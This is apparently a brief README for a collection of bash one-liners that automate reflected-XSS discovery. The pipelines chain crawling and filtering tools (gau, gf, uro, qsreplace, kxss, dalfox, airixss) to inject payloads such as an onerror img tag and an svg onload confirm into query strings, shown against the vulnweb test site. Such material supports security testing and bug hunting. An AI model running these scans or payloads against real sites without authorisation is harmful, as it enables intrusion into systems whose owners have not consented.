One-liner-XSS-Scanner

This is a collection of commands that's help you to find XSS via automation.

Via Bash Script

Tools:

Kxss : To find reflected values.

uro: Declutters url lists for crawling.

gf: A wrapper around grep, to help you grep for things.

qsreplace: To replace all query string values with a user-supplied value.

Freq: To find alert values.

airixss: To find XSS during recon.

dalfox : It’s a powerfull XSS scanner.

First Case

echo http://testphp.vulnweb.com | gau | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq

cat param.txt | kxss | awk '{print $9}'| dalfox pipe

cat param.txt | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"
echo http://testphp.vulnweb.com | gau | gf xss | uro  |qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"

You can Read the full methodology here at Medium